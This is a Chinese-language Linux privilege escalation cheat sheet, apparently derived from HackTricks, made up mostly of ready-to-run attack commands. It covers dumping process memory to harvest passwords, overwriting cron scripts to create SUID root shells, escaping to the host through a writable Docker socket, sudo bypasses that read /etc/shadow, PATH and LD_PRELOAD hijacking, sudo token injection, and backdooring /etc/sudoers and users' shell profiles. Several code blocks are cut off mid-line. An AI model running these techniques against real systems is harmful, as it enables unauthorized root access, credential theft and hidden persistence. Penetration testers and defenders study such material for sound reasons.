系统信息
操作系统信息
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # 老版本
cat /etc/os-release 2>/dev/null # 现代操作系统通用
Path
如果我们对 PATH 中的任何文件夹拥有写入权限,我们可以劫持一些库或二进制文件
echo $PATH
具体查看:
Env 信息
环境变量中存在有趣的信息、密码或API密钥?
(env || set) 2>/dev/null
内核漏洞
:::info 不推荐使用,会破坏系统
:::
检查内核版本,再搜索是否存在可以提升权限的漏洞
cat /proc/version
uname -a
searchsploit "Linux Kernel"
易受攻击的内核列表&POC:
- GitHub - lucyoa/kernel-exploits
- Build software better, together
- GitHub - bwbwbwbw/linux-exploit-binaries
- GitHub - Kabot/Unix-Privilege-Escalation-Exploits-Pack: Exploits for getting local root on Linux, BSD, AIX, HP-UX, Solaris, RHEL, SUSE etc.
搜索内核漏洞的工具:
- GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
- GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester
- linuxprivchecker.py (只检查内核 2.x)
- 谷歌
Dmesg 签名验证失败
Dmesg 解释
- dmesg 是什么?
dmesg签名是一种数字签名,用于验证dmesg日志文件的完整性和真实性。通过对日志文件进行签名,可以确保它没有被篡改或修改过。签名是由私钥创建的,同时也可以使用公钥进行验证 - dmesg日志文件?
dmesg日志文件是包含系统内核底层信息的日志文件。它记录了操作系统内核最近启动后发生的事件和错误,包括硬件设备的状态信息、内核模块的加载信息、内存管理信息、进程管理信息、文件系统信息等。dmesg日志文件对于调试和定位系统问题非常有用,因为它提供了一个实时查看系统内核运行情况的工具。 - 如何利用?
Dmesg通常不用于直接提权,因为它只显示内核缓冲区中的消息,不能对内核进行直接的修改。但是,黑客可能会使用dmesg来搜索敏感信息,例如未经处理的密码、凭证和其他敏感数据,以此获取有关系统的更多信息,进而进行其他攻击。
shell
dmesg 2>/dev/null | grep "signature"
## 其他
shell
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
# 枚举可能的防御
## AppArmor
shell
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
## Grsecurity
shell
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
## PaX
shell
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
## Execshield
shell
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
## SElinux
shell
(sestatus 2>/dev/null || echo "Not found sestatus")
## ASLR
shell
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#如果为 0 表示不启用
# 驱动器
检查哪些东西被挂载和未被挂载,在哪里?为什么? 如果有什么东西没有被挂载,你可以尝试挂载它,并检查信息。
shell
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
# 检查 fstab 中的凭证
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
# 使用的工具
枚举查看是否安装了一些需要利用的软件
shell
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
检查是否安装了编译器
shell
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
## 安装了易受攻击的软件
shell
dpkg -l # Debian
rpm -qa # Centos
如果您可以通过 SSH 访问机器,您还可以使用openVAS检查机器中安装的过时和易受攻击的软件。
> 请注意,这些命令会显示很多信息,这些信息大多是无用的,因此建议使用一些应用程序,如 OpenVAS 或类似的应用程序来检查是否有任何已安装的软件版本容易受到已知漏洞的攻击
>
# 进程
查看正在执行的进程并检查是否有任何进程拥有比应有的更多特权
shell
ps aux
ps -ef
top -n 1
始终检查可能正在运行的 Node inspector/CEF 调试利用,我们可以利用其来提升权限,
同时我们还需要查看进程的二进制问卷,获取我们可以覆盖
## 进程监控
我们可以使用 Pspy 来监视进程, 这对于频繁的执行和满足一些攻击进程有用
## 进程内存
服务器的某些服务在内存中以明文形式保存凭据。
通常你需要root 权限来读取属于其他用户的进程的内存,因此当你已经是 root 并且想要发现更多凭据时这通常更有用。
但是,请记住,作为普通用户,您可以读取您拥有的进程的内存
> 注意,现在大多数机器默认不允许 trace,这意味着你不能转储属于你的非特权用户的其他进程。
>
> 文件 /proc/sys/kernel/yama/ptrace_scope
控制ptrace的可访问性:
>
> + kernel.yama.tracescope = 0: 所有进程都可以被调试,只要它们有相同的uid。这是ptracing工作的经典方式。
> + kernel.yama.trace_scope = 1: 只有一个父进程可以被调试。
> + kernel.yama.trace_scope = 2: 只有管理员可以使用ptrace,因为它需要CAP_SYS_PTRACE能力。
> + kernel.yama.trace_scope = 3: 不能用ptrace追踪任何进程。一旦设置,需要重启才能再次启用ptracing。
>
GDB
如果您有权访问 FTP 服务的内存,我们可以尝试获取堆并在其凭据中搜索
shell
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB 脚本
shell
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
对于一个给定的进程ID,maps 显示了内存在该进程虚拟地址空间中是如何被映射的;它还显示了每个被映射区域的权限。mem 伪文件暴露了进程的内存本身。从maps文件中我们知道哪些内存区域是可读的,以及它们的偏移量。我们使用这些信息来寻找mem文件,并将所有可读区域转储到一个文件中。
```shell
procdump()
(
cat /proc/$1/maps | grep -Fv “.so” | grep “ 0 “ | awk ‘{print $1}’ | ( IFS=”-“
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of=”$1_mem$a.bin”
done )
cat $1.bin > $1.dump
rm $1.bin
)
**/dev/mem**
`/dev/mem` 提供对系统物理内存的访问,而不是虚拟内存。内核的虚拟地址空间可以用 `/dev/kmem` 来访问。
通常情况下,/dev/mem只能由root和kmem组读取。
shell
strings /dev/mem -n10 | grep -i PASS
## 适用于 Linux 的 ProcDump
ProcDump 是对 Windows 系统内部工具套件中经典 ProcDump 工具的 Linux 重新构想, 我们可以在 [GitHub - Sysinternals](https://github.com/Sysinternals/ProcDump-for-Linux) 获取
shell
procdump -p 1714ProcDump v1.2 - Sysinternals process dump utility Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license. Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi Monitors a process and writes a dump file when the process meets the specified criteria. Process: sleep (1714) CPU Threshold: n/a Commit Threshold: n/a Thread Threshold: n/a File descriptor Threshold: n/a Signal: n/a Polling interval (ms): 1000 Threshold (s): 10 Number of Dumps: 1 Output directory for core dumps: . Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleeptime2021-11-0320:20:58.1714
## Tools
**如果我们想转储内存我们可以使用:**
+ [GitHub - Sysinternals/ProcDump-for-Linux: A Linux version of the ProcDump Sysinternals tool](https://github.com/Sysinternals/ProcDump-for-Linux)
+ [https://github.com/hajzer/bash-memory-dump](https://github.com/hajzer/bash-memory-dump) (root ) 你可以手动删除 root 需求,并转储由你拥有的进程
+ [https://www.delaat.net/rp/2016-2017/p97/report.pdf](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root)
## 进程内存
**示例:**
如果发现` authenticator` 进程正在运行:
shell
ps -ef | grep “authenticator”
root 2027 2025 0 11:46 ? 00:00:00 authenticator
可以转储进程(请参阅前面的部分以找到转储进程内存的不同方法)并在内存中搜索凭据:
shell
./dump-memory.sh 2027
strings .dump | grep -i password
**mimipenguin**
该工具将从内存和一些**众所周知的文件中窃取明文凭据**。它需要 root 权限才能正常工作。[https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin)
| **Feature** | **Process Name** |
| --- | --- |
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
**Search Regexes/**[**truffleproc**](https://github.com/controlplaneio/truffleproc)
shell
# 针对您当前的 Bash shell运行 (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od…
Reading symbols from /usr/lib/systemd/systemd…
Reading symbols from /lib/systemd/libsystemd-shared-247.so…
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1…
[…]
# 字符串提取到 /tmp/tmp.o6HV0Pl3fe
# finding secrets
# 结果在 /tmp/tmp.o6HV0Pl3fe/results.txt
# cron 任务
[定时任务- crontab](https://www.yuque.com/gulujili/rfl7al/ooi9gkasy1z78lx7)
检查是否有任何计划作业易受攻击。也许您可以利用 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)
shell
crontab -l
ls -al /etc/cron /etc/at
cat /etc/cron /etc/at /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v “^#”
``
## 计划路径
例如,在
/etc/crontab中你可以找到PATH:
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/bin:/usr/bin(注意用户 "user "如何对
/home/user拥有写入权限。)
如果在这个crontab里面,根用户试图执行一些命令或脚本而不设置路径。比如说
root overwrite.sh那么,你可以通过以下方式获得一个root shell:
```shell
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
## 定时任务使用带有通配符的脚本 (通配符注入)
如果由 root 执行的脚本在命令中有一个“ *** ”,你可以利用它来做出意想不到的事情(比如 privesc)**
```shell
rsync -a *.sh rsync://host.back/src/rbd #你可以创建一个名为"-e sh myscript.sh "的文件,这样脚本将执行我们的脚本
```
如果通配符在
/some/path/` 这样的路径前面,它就没有漏洞(甚至./也没有)。
利用通配符
## 定时脚本覆盖和符号链接
如果你可以修改由 root 执行的 cron 脚本,你可以很容易地获得一个 shell:
shell
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
# 等待执行
$ /tmp/bash -p
如果由 root 执行的脚本使用您具有完全访问权限的目录,那么删除该文件夹并创建一个符号链接文件夹到另一个为您控制的脚本提供服务的文件夹可能会很有用
shell
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
## 定时的 cron 任务
我们可以监控进程,以寻找每隔一段时间重复执行的任务
例如,要在 1 分钟内每 0.1s 监控一次,按执行次数较少的命令排序并删除执行次数最多的命令,您可以这样做:
shell
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
我们也可以使用 Pspy
## 不可见 cron 作业
可以创建一个 cronjob,在评论后放一个回车符(没有换行符),cron 作业就会工作。示例(注意回车字符):
shell
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
# 服务
## 可写的 .service 文件
检查是否可以写入任何 .service
文件,如果可以,我们可以尝试修改它,一遍在服务启动 重新启动或停止时执行我们的后门程序
例如在我们的 .service
文件中创建后门 ExecStart=/tmp/script.sh
## 可写服务的二进制文件
如果对服务执行的二进制文件具有写入权限, 那么我们可以尝试修改这个二进制文件,以便在重新执行服务时执行后门
## 相对路径
我们可以利用以下命令来查看 systemd
使用的 PATH
shell
systemctl show-environment
如果您发现您可以在路径的任何文件夹中写入,您就可以提升权限。您需要搜索服务配置文件中使用的相对路径,例如:
shell
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
然后,在您可以编写的 systemd PATH 文件夹中创建一个与相对路径二进制文件同名的可执行文件,当服务被要求执行易受攻击的操作(开始、停止、重新加载)时,您的后门将被执行(非特权用户)通常无法启动/停止服务,但请检查您是否可以使用)
# 计时器
计时器是 systemd 的单元文件,其名称以 .timer 结尾,用于控制 .service 文件或事件。计时器可以作为 cron 的替代品,因为它内置了对日历时间事件和单调时间事件的支持,并且可以异步运行。
你可以用以下方式列举所有的定时器:
shell
systemctl list-timers --all
## 可写计时器
如果我们可以修改一个计时器,那么我们可以让其执行一些 systemd.unit 的存在 (比如 a.service 或者 a.target)
shell
Unit=backdoor.service
> 计时器到时要激活的单元。参数是一个单元名,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单元同名的服务,但后缀除外。(见上文。)建议激活的单元名称和定时器单元的单元名称命名相同,除了后缀。
>
因此,要滥用此权限,您需要:
+ .service找到一些正在执行可写二进制文件的systemd 单元(如 a )
+ 找到一些正在执行相对路径的systemd 单元,并且您对systemd PATH具有可写权限(以模拟该可执行文件)
## 启用定时器
要想启动定时器,我们需要 root 权限,
shell
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
请注意,定时器是通过创建指向它的符号链接来激活的 /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
# Socat
## 可写的 .socket 文件
如果你找到一个可写的 .socket
文件,你可以在[Socket]部分的开头添加类似的内容: ExecStartPre=/home/kali/sys/backdoor
,后门将在套接字创建之前被执行。因此,你可能需要等待,直到机器重新启动。
注意,系统必须使用该套接字文件配置,否则后门将不会被执行。
## 可写 socket
如果你确定了任何可写的套接字(现在我们谈论的是Unix套接字,而不是配置的 .socke
t 文件),那么你就可以与该套接字进行通信,并可能利用一个漏洞。
## 枚举 socket
shell
netstat -a -p --unix
## 原始连接
shell
#apt-get install netcat-openbsd
nc -U /tmp/socket # Connect to UNIX-domain stream socket
nc -uU /tmp/socket # Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
## HTTP Socket
Socket 命令注入
可能有一些 socket 在侦听 HTTP 请求,我们可以利用以下方式检查:
shell
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
如果 socket 使用 HTTP 响应,那我们可以尝试与其通信以利用某些漏洞
## 可写的 Docker Socket
docker socket 通常位于/var/run/docker.sock
,只有root用户和docker组可以写。
如果由于某种原因,你对该套接字有写入权限,你可以提升权限。
下面的命令可以用来提升权限:
shell
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
在没有 docker 包的情况下从 socket 中使用 docker web API
如果你能访问docker socket,但你不能使用docker二进制文件(也许它甚至没有安装),你可以直接用curl使用网络API。
下面的命令是一个例子,说明如何创建一个挂载主机系统根目录的docker容器,并使用socat将命令执行到新的docker中。
shell
# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
#{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
最后一步是使用socat来启动与容器的连接,发送一个 “attach”请求
shell
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp
你可以从这个socat连接中对容器执行命令。
# 网络
枚举网络以查看如何提权
## 通用枚举
shell
# Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
# Interfaces
cat /etc/networks
(ifconfig || ip a)
# Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
## 端口
我们可以查看端口来检查与计算机进行交互的网络服务
shell
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
## 嗅探
如果我们可以嗅探流量,那么我们也可以获取一些凭据
shell
timeout 1 tcpdump
# 用户
## 枚举
我是谁?我有哪些权限?这里有谁?谁可以登陆?谁有 root 权限?
shell
# Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
# 每个用户最后一条日志
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
## Big UID
某些 Linux 版本厚道 UID > INTMAX 用户,我们可以利用此来提权,
查看: 文章1文章2 文章3
我们可以利用
shell
systemd-run -t /bin/bash
## Group
检查我们是否是某个可以授予 root 权限的组成员
Groups - Linux Privesc
## 剪贴板
bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
## 密码策略
shell
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
## 密码重用
有时候一个密码会在多个用户或者服务间使用
## Su Brute
我们可以使用 GitHub - carlospolop/su-bruteforce 来破解用户
# 可写路径利用
## $PATH
如果你发现你可以在 $PATH
的某个文件夹内写东西,你可能会通过在可写文件夹内创建一个后门来提升权限,这个后门的名字是由一个不同的用户(最好是root)执行的,并且不是从位于 $PATH 中你的可写文件夹之前的文件夹加载。
## SUDO
sudo配置文件/etc/sudoers
shell
sudo -l # 检查当前用户以 root 用户可以执行哪些命令
## SUID&SGIP
shell
find / -perm -4000 2>/dev/null # Find all SUID binaries
SUID&SGID
## 无密码
Sudo 配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令
shell
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
在此示例中,用户demo可以运行vim为root,现在通过将 ssh 密钥添加到根目录或通过调用来获取 shell 是微不足道的sh
shell
sudo vim -c '!sh'
## SETENV
该指令允许用户在执行某些操作时设置环境变量:
shell
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Python PATH 利用: PATH
## SUDO 执行绕过
跳转到读取其他文件或使用符号链接。例如在sudoers文件中: hacker10 ALL= (root) /bin/less /var/log/*
shell
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
shell
ln /etc/shadow /var/log/new
sudo less /var/log/new # 使用符号链接读取文件
如果使用通配符(),则更容易:
shell
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
## 没有命令路径的 SUDO 命令/SUID 二进制文件
如果sudo权限被赋予一个单一的命令而没有指定路径: hacker10 ALL= (root) less
你可以通过改变PATH变量来利用它
shell
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
如果一个suid二进制文件在没有指定路径的情况下执行了另一个命令,也可以使用这种技术
Payloads to execute
## 带有路径的 SUID 二进制文件
如果suid二进制文件执行另一个指定路径的命令,那么,你可以尝试导出一个与suid文件所调用的命令相同的函数。
例如,如果一个suid二进制文件调用 /usr/sbin/service apache2 start
,你必须尝试创建函数并导出它:
shell
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
然后,当你调用 suid 二进制文件时,这个函数将被执行
## LD_PRELOAD & LD_LIBRARY_PATH
LD_PRELOAD是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载器将在任何其他共享库(包括C运行库(libc.so))之前加载这些路径,这被称为预加载库。
为了避免这种机制被用作suid/sgid可执行二进制文件的攻击媒介,如果ruid != euid,加载器会忽略LD_PRELOAD。对于这样的二进制文件,只有标准路径中也是suid/sgid的库才会被预加载。
如果你在sudo -l的输出中发现一句话:`*env_keep+=LD_PRELOAD,并且你可以用sudo调用一些命令,你可以提升权限。
```shell
Defaults env_keep += LD_PRELOAD
```
[共享库](https://www.yuque.com/gulujili/jtz_book/lq7nwzgccazf8m4g)
## SUID 二进制文件- .so 注入
有时候我们会发现一些具有 SUID 权限的二进制文件,这时候我们可以检查所有的 .so 是否已经正确加载,
```shell
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
如果我们发现
pen(“/home/user/.config/libcalc.so”, ORDONLY) = -1 ENOENT (No such file or directory)`你可以利用它
```shell
#include 编译它使用:
shell
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
并执行二进制文件
# 共享对象劫持
shell
# 查找 SUID 文件的非标准库
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# SUID 文件可以从一个自定义位置加载库
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
现在我们已经找到一个 SUID 二进制文件从我们可以写入的文件夹加载库,让我们在该文件夹中创建具有必要名称的库:
c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include 如果你得到一个错误,比如
c
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
这意味着您生成的库需要有一个名为a_function_name.
## GTFOBins
[GTFOBins](https://gtfobins.github.io/)是一个精选的 Unix 二进制文件列表,攻击者可以利用它来绕过本地安全限制。
该项目收集 Unix 二进制文件的合法功能,这些功能可被滥用来突破受限的 shell、升级或维护提升的特权、传输文件、生成绑定和反向 shell,以及促进其他后期开发任务。
## FallOfSudo
如果我们可以使用 `sudo -l`那么我们可以使用 [FallOfSudo](https://github.com/CyberOne-TeamARES/FallOfSudo) 来帮助我们找到利用 SUDO 的方法
## 重复令牌
当我们有一个 root 用户的 shell ,但是我们不知道密码的时候,我们可以尝试等待用户自己登陆并使用, 这时候我们就可以尝试利用 sudo 的会话临牌来进行特权升级.
要求
+ 已经存在一个 root 用户 shell
+ root 用户在过去十五分钟执行某些操作 (默认情况下,这是允许我们在不引入任何密码的情况下使用的 sudo 令牌的持续时间)
+ ` cat /proc/sys/kernel/yama/ptrace_scope = 0`
+ gdb 允许(我们可以尝试上传)
> 你可以用 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`暂时启用trace_scope,或者永久修改`/etc/sysctl.d/10-ptrace.conf`,设置kernel.yama.trace_scope = 0
>
如果所有这些要求都得到满足,你可以使用升级权限:[GitHub - nongiach/sudo_inject: [Linux] Two Privilege Escalation techniques abusing sudo token](https://github.com/nongiach/sudo_inject)
1. 第一个漏洞(exploit.sh)将在/tmp创建二进制文件 activate_sudo_token。你可以用它在你的会话中激活sudo令牌(你不会自动得到一个root shell,做sudo su):
shell
bash exploit.sh
/tmp/activate_sudo_token
sudo su
2. 第二个漏洞(exploit_v2.sh)将在/tmp创建一个sh shell,由root拥有,并setuid
shell
bash exploit_v2.sh
/tmp/sh -p
3. 第三个漏洞(exploit_v3.sh)将创建一个sudoers文件,使sudo令牌成为永恒,允许所有用户使用sudo
shell
bash exploit_v3.sh
sudo su
## /var/run/sudo/ts/<Username>
如果你在该文件夹或该文件夹内任何已创建的文件上有写入权限,你可以使用二进制的[write_sudo_token](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)来为一个用户和PID创建一个sudo令牌。
例如,如果你能覆盖文件/var/run/sudo/ts/sampleuser,并且你有一个shell作为该用户的PID 1234,你可以获得sudo权限,而不需要知道密码做:
shell
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
## /etc/sudoers, /etc/sudoers.d
文件/etc/sudoers和/etc/sudoers.d里面的文件配置了谁可以使用sudo以及如何使用。这些文件在默认情况下只能由用户root和组root读取。
如果你能读取这个文件,你就能获得一些有趣的信息,如果你能写入任何文件,你就能提升权限。
shell
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
如果你能写,你就能滥用这个许可
shell
echo “$(whoami) ALL=(ALL) NOPASSWD: ALL” >> /etc/sudoers
echo “$(whoami) ALL=(ALL) NOPASSWD: ALL” >> /etc/sudoers.d/README
滥用这些权限的另一种方式:
shell
# 使得每个终端都可以sudo
echo “Defaults !tty_tickets” > /etc/sudoers.d/win
# 使得sudo永远不会超时
echo “Defaults timestamp_timeout=-1” >> /etc/sudoers.d/win
## DOAS
有一些替代sudo二进制的方法,比如OpenBSD的doas,记得在/etc/doas.conf中检查其配置。
shell
permit nopass demo as root cmd vim
## Sudo Hijacking
如果我们知道一个用户通常连接到一台机器并使用sudo来提升权限,并且在该用户上下文中得到了一个shell,我们可以创建一个新的sudo可执行文件,以root身份执行我们的代码,然后执行该用户的命令。然后,修改用户环境的$PATH(例如在.bash_profile中添加新的路径),这样当用户执行sudo时,你的sudo可执行文件就会被执行。
注意,如果用户使用不同的shell(不是bash),你将需要修改其他文件来添加新的路径。例如,[sudo-piggyback](https://github.com/APTy/sudo-piggyback)修改了~/.bashrc、~/.zshrc、~/.bash_profile。你可以在[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)中找到另一个例子
# 共享库
## ld.so
文件 `/etc/ld.so.conf`表明加载的配置文件来自哪里。通常,这个文件包含以下路径:`include /etc/ld.so.conf.d/*.conf`
这意味着来自 `/etc/ld.so.conf.d/*.conf`的配置文件将被读取。这个配置文件指向其他要搜索库的文件夹。例如,`/etc/ld.so.conf.d/libc.conf`的内容是`/usr/local/lib`。这意味着系统将搜索 `/usr/local/lib`内的库。
如果由于某种原因,用户对所标示的任何路径有写权限:`/etc/ld.so.conf`,`/etc/ld.so.conf.d/`,`/etc/ld.so.conf.d/`内的任何文件或 `/etc/ld.so.conf.d/*.conf`内的任何文件夹,他可能能够提升权限。
在下面的页面中看看如何利用这个错误的配置:
## RPATH
shell
level15@nebula:/home/flag15$ readelf -d flag15 | egrep “NEEDED|RPATH”
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
通过将lib复制到 `/var/tmp/flag15/`,它将被RPATH变量中指定的这个地方的程序所使用。
shell
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
然后用`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`在 `/var/tmp`创建一个邪恶库。
c
#include# Capabilities
Linux功能为进程提供了一个可用的根权限的子集。这有效地将根权限分解为较小的和独特的单元。然后,这些单元中的每一个都可以独立地授予进程。这样就减少了全部的权限,减少了被利用的风险。
阅读下面的页面,了解更多关于能力和如何滥用它们:
[Capabilities](https://www.yuque.com/gulujili/jtz_book/zqk287zgqw7ucxgq)
# 目录权限
在一个目录中,"x"位意味着受影响的用户可以 "cd "进入该文件夹。
"r"位意味着用户可以列出文件,而 "w"位意味着用户可以删除和创建新文件。
# ACLs
ACL(访问控制列表)是第二层次的自由裁量权限,它可以覆盖标准的ugo/rwx权限。如果使用得当,它们可以让你在设置文件或目录的访问权限时有更好的精细度,例如,给予或拒绝一个既不是文件所有者也不是组所有者的特定用户的访问权限(从这里开始)。
给予用户 "kali "读取和写入文件的权限:
shell
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
